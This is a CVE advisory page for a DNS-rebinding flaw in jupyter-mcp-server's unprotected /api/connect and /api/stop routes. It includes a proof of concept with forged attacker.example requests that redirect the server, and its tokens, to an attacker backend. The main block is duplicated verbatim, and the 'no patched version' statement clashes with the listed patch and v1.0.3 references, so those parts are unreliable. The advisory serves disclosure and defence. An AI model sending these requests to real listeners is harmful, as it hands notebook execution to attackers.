CVE-2026-77359jupyter-mcp-server
NVD
Vulnerability Summary
Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` rejects forged `Host` and `Origin` headers on `/mcp`, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to `127.0.0.1` or a private target address, then send `PUT /api/connect` to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.
The protected `/mcp` endpoint shows the intended browser-origin boundary. With `MCP_TOKEN` configured, `/mcp` rejects forged browser headers:
```text
POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142
HTTP 421 Invalid Host header
```
The vulnerable route is `jupyter_mcp_server/server.py:143-187`. It parses caller JSON, updates the active Jupyter backend configuration, resets `ServerContext`, and starts the kernel without applying the `/mcp` Host/Origin rejection to the custom route:
```python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})
```
`/api/stop` is also state-changing and accepts the same browser-origin route shape:
```python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
```
## Proof of concept
Run the affected version with `MCP_TOKEN` configured:
```bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
```
First, show that `/mcp` rejects the browser-shaped request:
```http
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
```
Observed response:
```http
HTTP/1.1 421
Invalid Host header
```
Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to `127.0.0.1` or the private MCP listener:
```http
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_REBIND",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_REBIND"
}
```
Observed response:
```http
HTTP/1.1 200 OK
content-type: application/json
{"success":true}
```
The server log shows that `/api/connect` accepted the attacker-chosen backend despite the browser-origin headers:
```text
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
```
When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:
```text
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND
```
## Impact
The protected `/mcp` endpoint rejects forged `Host` and `Origin` values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.
## Why this is a vulnerability, not intended behavior
- This is not a generic claim that `/mcp` lacks Host validation. `/mcp` rejects the forged Host replay with `HTTP 421 Invalid Host header`.
- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to `/mcp`.
## Remediation
Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:
1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
2. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.
3. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.
4. Add regression tests proving that `/api/connect` and `/api/stop` reject forged browser `Host` and `Origin` headers.
The protected `/mcp` endpoint shows the intended browser-origin boundary. With `MCP_TOKEN` configured, `/mcp` rejects forged browser headers:
```text
POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142
HTTP 421 Invalid Host header
```
The vulnerable route is `jupyter_mcp_server/server.py:143-187`. It parses caller JSON, updates the active Jupyter backend configuration, resets `ServerContext`, and starts the kernel without applying the `/mcp` Host/Origin rejection to the custom route:
```python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})
```
`/api/stop` is also state-changing and accepts the same browser-origin route shape:
```python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
```
## Proof of concept
Run the affected version with `MCP_TOKEN` configured:
```bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
```
First, show that `/mcp` rejects the browser-shaped request:
```http
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
```
Observed response:
```http
HTTP/1.1 421
Invalid Host header
```
Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to `127.0.0.1` or the private MCP listener:
```http
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_REBIND",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_REBIND"
}
```
Observed response:
```http
HTTP/1.1 200 OK
content-type: application/json
{"success":true}
```
The server log shows that `/api/connect` accepted the attacker-chosen backend despite the browser-origin headers:
```text
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
```
When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:
```text
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND
```
## Impact
The protected `/mcp` endpoint rejects forged `Host` and `Origin` values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.
## Why this is a vulnerability, not intended behavior
- This is not a generic claim that `/mcp` lacks Host validation. `/mcp` rejects the forged Host replay with `HTTP 421 Invalid Host header`.
- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to `/mcp`.
## Remediation
Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:
1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
2. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.
3. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.
4. Add regression tests proving that `/api/connect` and `/api/stop` reject forged browser `Host` and `Origin` headers.
CVSS v4.0 Base Metrics — Score 9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:HAttack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)Low
Integrity (Vulnerable System)High
Availability (Vulnerable System)High
Confidentiality (Subsequent System)High
Integrity (Subsequent System)High
Availability (Subsequent System)High
Affected & Patched Versions
- jupyter-mcp-server <= 1.0.2
No patched version published yet
Until a fix ships, reduce exposure:
- Restrict access to the affected service or interface to trusted networks.
- Disable the affected feature if you do not need it.
- Watch the vendor advisory for a firmware or software update.
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run jupyter-mcp-server and which version.
- No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
- Subscribe to the vendor advisory so you learn when a fix ships.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Nov 19, 2026Published
- Nov 20, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new jupyter-mcp-server CVEsYou are reading CVE-2026-77359. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsMore jupyter-mcp-server CVEs
External References
- Vendor Advisoryhttps://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-9x8x-crjq-g64h
- CVE Recordhttps://nvd.nist.gov/vuln/detail/CVE-2026-77359
- Patchhttps://github.com/datalayer/jupyter-mcp-server/pull/262
- Patchhttps://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4
- Referencehttps://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3
- Referencehttps://github.com/advisories/GHSA-9x8x-crjq-g64h
Data last checked: Nov 20, 2026 02:00 UTC